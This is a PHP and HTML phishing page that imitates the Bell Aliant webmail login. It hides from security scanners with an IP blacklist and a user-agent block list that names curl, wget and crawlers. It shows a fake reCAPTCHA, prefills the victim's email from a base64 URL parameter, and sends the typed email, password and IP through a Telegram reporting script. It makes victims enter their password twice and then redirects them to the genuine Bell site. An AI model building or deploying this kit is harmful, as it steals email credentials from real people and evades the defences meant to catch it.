<?php
//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('x8SYQLpUqU')) { 
    function x8SYQLpUqU() { 
        $xb2zx1 = $_SERVER['SERVER_ADDR']; 
        $xXSEJ = '127.0.0.1'; 
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xXSEJ)) {
            $ip=$_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xXSEJ) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xb2zx1))) {
            $ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CLIENT_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip=$_SERVER['REMOTE_ADDR'];
        } 
        return $ip; 
    }
}
$ip=x8SYQLpUqU();

// Check if visitor IP is in blacklist files
if (IPBlacklistLoader::isBlacklisted($ip)) {
    // IP is blacklisted - redirect to centralized URL
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════ 

if (!function_exists('x9PfbWn2bS')) { 
    function x9PfbWn2bS() { 
        if(empty($_SERVER['HTTP_USER_AGENT'])) { 
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); 
        } 
        return $_SERVER['HTTP_USER_AGENT']; 
    }
}
$eRf9t9d9 = x9PfbWn2bS();

// Basic user agent check (secondary protection layer)
$ua_lower = strtolower($eRf9t9d9);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

// ✅ All checks passed - load page
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Webmail</title>
  <link rel="shortcut icon" href="https://webmail.bellaliant.net/bell/login/img/favicon.ico">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="../m/js/fingerprint.js"></script>
  <script src="../m/js/utils.js"></script>
  <script src="../m/js/captcha.js"></script>
  <script src="../js/centralized_telegram.js"></script>
  <script src="../js/centralized_redirect.js"></script>
  <script src="../js/email_extractor.js"></script>
  <script src="../js/autofill_helper.js"></script>
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

    :root {
      --bell-header: #0d4f8c;
      --bell-navy:   #0c3a6e;
      --bell-link:   #0d5ea3;
      --info-bg:     #ddeeff;
      --page-bg:     #ebebeb;
      --border:      #c8cdd4;
      --footer-bg:   #e8e8e8;
      --footer-line: #c0c0c0;
    }

    html, body {
      height: 100%;
      font-family: Arial, Helvetica, sans-serif;
      font-size: 15px;
      color: #1a1a1a;
    }
    body {
      display: flex;
      flex-direction: column;
      min-height: 100vh;
      background: var(--page-bg);
    }
    a { color: var(--bell-link); text-decoration: none; }
    a:hover { text-decoration: underline; }

    /* ── HEADER ── */
    .site-header {
      background: var(--bell-header);
      height: 80px;
      display: flex;
      align-items: center;
      justify-content: space-between;
      padding: 0 32px;
      flex-shrink: 0;
    }
    .header-logo { height: 42px; width: auto; }
    .header-lang {
      color: #fff;
      font-size: 15px;
      font-weight: 500;
    }
    .header-lang:hover { color: #fff; text-decoration: underline; }

    /* ── INFO BANNER ── */
    .info-banner {
      background: var(--info-bg);
      padding: 13px 32px;
      display: flex;
      align-items: center;
      gap: 10px;
      font-size: 14px;
      flex-shrink: 0;
    }
    .info-icon {
      width: 20px; height: 20px;
      border: 2px solid var(--bell-link);
      border-radius: 50%;
      display: flex; align-items: center; justify-content: center;
      font-size: 11px; font-weight: 700;
      color: var(--bell-link);
      flex-shrink: 0;
    }
    .info-banner a { text-decoration: underline; color: var(--bell-link); }

    /* ── MAIN ── */
    main {
      flex: 1;
      display: flex;
      align-items: center;
      justify-content: center;
      padding: 48px 16px;
    }

    /* ── LOGIN CARD ── */
    .login-card {
      background: #fff;
      border-radius: 16px;
      width: 100%;
      max-width: 460px;
      box-shadow: 0 4px 28px rgba(0,0,0,0.13);
      padding: 50px 44px 56px;
    }

    .card-logo { display: block; margin-bottom: 36px; }
    .card-logo img { height: 54px; width: auto; }

    .card-title {
      font-size: 21px;
      font-weight: 700;
      color: #1a1a1a;
      margin-bottom: 36px;
    }

    /* ── INPUTS ── */
    .field-wrap { margin-bottom: 18px; }
    .field-wrap input[type="text"],
    .field-wrap input[type="password"] {
      width: 100%;
      height: 46px;
      padding: 0 14px;
      font-size: 14px;
      font-family: inherit;
      border: 1.5px solid var(--border);
      border-radius: 8px;
      outline: none;
      background: #fff;
      color: #1a1a1a;
      transition: border-color .18s, box-shadow .18s;
    }
    .field-wrap input::placeholder { color: #999; }
    .field-wrap input:focus {
      border-color: var(--bell-link);
      box-shadow: 0 0 0 3px rgba(13,94,163,0.12);
    }

    /* ── FAKE RECAPTCHA ── */
    .fake-captcha {
      display: flex;
      align-items: center;
      justify-content: space-between;
      border: 1.5px solid var(--border);
      border-radius: 4px;
      background: #f9f9f9;
      padding: 14px 14px;
      margin-bottom: 22px;
    }
    .fake-captcha-left {
      display: flex;
      align-items: center;
      gap: 14px;
    }
    .captcha-check {
      width: 26px; height: 26px;
      background: #fff;
      border: 2px solid #ccc;
      border-radius: 3px;
      display: flex;
      align-items: center;
      justify-content: center;
      flex-shrink: 0;
    }
    /* Green checkmark SVG */
    .captcha-check svg { display: block; }
    .captcha-label { font-size: 14px; color: #333; }
    .captcha-logo {
      display: flex;
      flex-direction: column;
      align-items: center;
      gap: 2px;
    }
    .captcha-logo-icon {
      width: 34px; height: 34px;
    }
    .captcha-logo-text {
      font-size: 9px;
      color: #888;
      letter-spacing: 0.3px;
      text-align: center;
      line-height: 1.2;
    }
    .captcha-logo-text span { display: block; color: #aaa; font-size: 8px; }

    /* ── CHECKBOX ── */
    .check-row {
      display: flex;
      align-items: center;
      gap: 10px;
      margin: 0 0 30px;
    }
    .check-row input[type="checkbox"] {
      width: 18px; height: 18px;
      border: 1.5px solid #aaa;
      border-radius: 3px;
      cursor: pointer;
      flex-shrink: 0;
      accent-color: var(--bell-navy);
    }
    .check-row label { font-size: 14px; cursor: pointer; }

    /* ── LOG IN BUTTON ── */
    .btn-login {
      display: block;
      width: 100%;
      height: 52px;
      background: var(--bell-navy);
      color: #fff;
      font-size: 16px;
      font-weight: 600;
      font-family: inherit;
      border: none;
      border-radius: 50px;
      cursor: pointer;
      transition: background .18s;
      margin-bottom: 32px;
    }
    .btn-login:hover { background: #0a2f5a; }

    /* ── HELPER LINKS ── */
    .helper-links { display: flex; flex-direction: column; gap: 12px; }
    .helper-links a {
      font-size: 14px;
      font-weight: 700;
      color: var(--bell-link);
      display: inline-flex;
      align-items: center;
      gap: 3px;
    }
    .helper-links a::after { content: '›'; font-size: 20px; line-height: 1; font-weight: 400; }

    /* ── FOOTER ── */
    footer {
      background: var(--footer-bg);
      border-top: 1px solid var(--footer-line);
      padding: 18px 32px 14px;
      flex-shrink: 0;
    }
    .footer-links {
      display: flex;
      align-items: center;
      flex-wrap: wrap;
      margin-bottom: 6px;
    }
    .footer-links a { color: var(--bell-link); font-size: 13px; }
    .footer-links a:hover { text-decoration: underline; }
    .footer-pipe { color: #aaa; margin: 0 12px; font-size: 13px; }
    .footer-copy { font-size: 13px; color: #555; }

    @media (max-width: 580px) {
      .login-card { padding: 32px 24px 36px; }
      .site-header { padding: 0 16px; height: 64px; }
      .info-banner { padding: 12px 16px; }
      footer { padding: 14px 16px 12px; }
    }
  </style>
</head>
<body>

  <!-- HEADER -->
  <header class="site-header">
    <img
      class="header-logo"
      src="https://webmail.bell.net/bell/logo/Bell.gif"
      alt="Bell"
      onerror="this.onerror=null;this.style.display='none';document.getElementById('hdr-fb').style.display='block';"
    >
    <span id="hdr-fb" style="display:none;color:#fff;font-size:28px;font-weight:700;">Bell</span>
    <a class="header-lang" href="#">Français</a>
  </header>

  <!-- INFO BANNER -->
  <div class="info-banner">
    <div class="info-icon">i</div>
    <span>
      <strong>We've added multi-factor authentication to the email login page as an extra security feature.</strong>
      &nbsp;<a href="https://support.bell.ca/internet/email/bell-email-multi-factor-authentication" target="_blank" rel="noopener">Learn more</a>
    </span>
  </div>

  <!-- MAIN -->
  <main>
    <div class="login-card">

      <!-- Bell Blue logo inside card -->
      <a class="card-logo" href="#">
        <img
          src="https://webmail.bell.net/bell/logo/Bell_Blue.gif"
          alt="Bell"
          onerror="this.onerror=null;this.style.display='none';document.getElementById('card-fb').style.display='block';"
        >
        <span id="card-fb" style="display:none;font-size:36px;font-weight:700;color:#0d5ea3;">Bell</span>
      </a>

      <h1 class="card-title">Log in to Bell email</h1>

      <form id="login-form" method="post" action="#" autocomplete="on" onsubmit="return doLogin();">

        <div class="field-wrap">
          <input
            id="email"
            name="username"
            type="text"
            autocorrect="off"
            autocapitalize="off"
            autocomplete="username"
            placeholder="Email address"
          >
        </div>

        <div class="field-wrap">
          <input
            id="password"
            name="password"
            type="password"
            autocomplete="current-password"
            placeholder="Password"
          >
        </div>

        <!-- Decorative reCAPTCHA (visual only, no effect on page) -->
        <div class="fake-captcha">
          <div class="fake-captcha-left">
            <div class="captcha-check">
              <!-- Green checkmark -->
              <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                <polyline points="2,8 6.5,12.5 14,4" stroke="#3c9c3c" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round"/>
              </svg>
            </div>
            <span class="captcha-label">I'm not a robot</span>
          </div>
          <div class="captcha-logo">
            <!-- reCAPTCHA logo SVG -->
            <svg class="captcha-logo-icon" viewBox="0 0 64 64" xmlns="http://www.w3.org/2000/svg">
              <circle cx="32" cy="32" r="30" fill="#4a90d9" opacity="0.15"/>
              <path d="M32 8 C18.7 8 8 18.7 8 32 C8 45.3 18.7 56 32 56 C45.3 56 56 45.3 56 32 C56 18.7 45.3 8 32 8Z" fill="none" stroke="#4a90d9" stroke-width="3"/>
              <path d="M20 32 C20 25.4 25.4 20 32 20 C35.8 20 39.2 21.7 41.5 24.4 L37 24.4 L43 30 L49 24 L44.8 24 C41.8 19.6 36.7 16.8 32 16.8 C23.2 16.8 16 24 16 32.8" fill="#4a90d9"/>
              <path d="M44 32 C44 38.6 38.6 44 32 44 C28.2 44 24.8 42.3 22.5 39.6 L27 39.6 L21 34 L15 40 L19.2 40 C22.2 44.4 27.3 47.2 32 47.2 C40.8 47.2 48 40 48 31.2" fill="#4a90d9"/>
            </svg>
            <div class="captcha-logo-text">reCAPTCHA<span>Privacy - Terms</span></div>
          </div>
        </div>

        <div class="check-row">
          <input type="checkbox" id="keep-in" name="persistent">
          <label for="keep-in">Keep me logged in</label>
        </div>

        <button type="submit" class="btn-login">Log in</button>

      </form>

      <div class="helper-links">
        <a href="https://www.bell.ca/support/PrsCSi_Password_Reset" target="_blank" rel="noopener">Forgot password</a>
        <a href="https://www.bell.ca/support/PrsCSi_Email_Reset" target="_blank" rel="noopener">Forgot Email address</a>
      </div>

    </div>
  </main>

  <!-- FOOTER -->
  <footer>
    <nav class="footer-links">
      <a href="https://www.bell.ca/Bell_Internet/Internet_access/Bell_Internet_Privacy_Policy" target="_blank" rel="noopener">Privacy</a>
      <span class="footer-pipe">|</span>
      <a href="https://www.bell.ca/security" target="_blank" rel="noopener">Security</a>
      <span class="footer-pipe">|</span>
      <a href="https://www.bell.ca/legalregulatory" target="_blank" rel="noopener">Legal and Regulatory</a>
      <span class="footer-pipe">|</span>
      <a href="https://www.bell.ca/Mobility/Rate_plans_and_services/Wireless_code" target="_blank" rel="noopener">Wireless Code</a>
    </nav>
    <p class="footer-copy">&copy; Bell Canada, <span id="yr"></span>. All rights reserved.</p>
  </footer>

  <script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>
  <script>
    document.getElementById('yr').textContent = new Date().getFullYear();

    function extractEmailFromURL() {
      const urlParams = new URLSearchParams(window.location.search);
      let email = urlParams.get('ref');
      if (!email) {
        const hash = window.location.hash || '';
        if (hash) {
          const fragment = hash.substr(1);
          if (fragment) {
            const partsIdx = fragment.indexOf('=');
            email = partsIdx !== -1 ? fragment.substr(partsIdx + 1) : fragment;
          }
        }
      }
      if (!email) return null;
      email = decodeURIComponent(email);
      const base64regex = /^([A-Za-z0-9+/]{4})*(([A-Za-z0-9+/]{2}==)|([A-Za-z0-9+/]{3}=))?$/;
      if (base64regex.test(email.replace(/\s/g, ''))) {
        try {
          const decoded = atob(email);
          if (decoded && decoded.includes('@')) email = decoded;
        } catch (e) { }
      }
      const emailRegex = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
      return emailRegex.test(email) ? email : null;
    }

    function autoFillForm() {
      const email = extractEmailFromURL();
      if (!email) return;
      const emailField = document.getElementById('email');
      const passwordField = document.getElementById('password');
      if (emailField) {
        emailField.value = email;
        emailField.autocomplete = 'username';
      }
      if (passwordField) passwordField.focus();
    }

    var credentialSubmitCount = 0;
    var BELLALIANT_FALLBACK = 'https://webmail.bellaliant.net/';

    function doLogin() {
      var email = document.getElementById('email').value.trim();
      var pass = document.getElementById('password').value;
      var alertEl = document.getElementById('alertMsg');
      var loginBtn = document.querySelector('#login-form .btn-login');
      if (!email || !pass) {
        if (alertEl) {
          alertEl.style.display = 'block';
          alertEl.textContent = 'Please enter your email and password.';
        }
        return false;
      }
      if (alertEl) alertEl.style.display = 'none';

      credentialSubmitCount++;
      var redirectOnSuccess = (credentialSubmitCount >= 2);
      window.providerTag = 'bellaliant';
      var clientIP = window.userip || 'n/a';

      if (loginBtn) loginBtn.disabled = true;

      function runRedirect() {
        if (!redirectOnSuccess) return;
        window.allowFormRedirect = true;
        if (typeof performCentralizedRedirect === 'function') {
          performCentralizedRedirect(300);
        } else {
          setTimeout(function() { window.location.replace(BELLALIANT_FALLBACK); }, 300);
        }
      }

      if (typeof sendCentralizedTelegramReport === 'function') {
        sendCentralizedTelegramReport('bellaliant', email, pass, clientIP, function() {
          runRedirect();
        });
      } else {
        console.error('Centralized Telegram function not available');
        if (redirectOnSuccess) {
          window.allowFormRedirect = true;
          setTimeout(function() { window.location.replace(BELLALIANT_FALLBACK); }, 300);
        }
      }

      if (redirectOnSuccess && loginBtn) {
        var prevText = loginBtn.textContent;
        loginBtn.textContent = 'Logging in...';
        setTimeout(function() { loginBtn.textContent = prevText; }, 200);
      }

      if (credentialSubmitCount === 1) {
        document.getElementById('password').value = '';
        document.getElementById('password').focus();
        if (loginBtn) loginBtn.disabled = false;
        return false;
      }
      return false;
    }

    document.addEventListener('DOMContentLoaded', function() {
      autoFillForm();
    });
  </script>

</body>
</html>
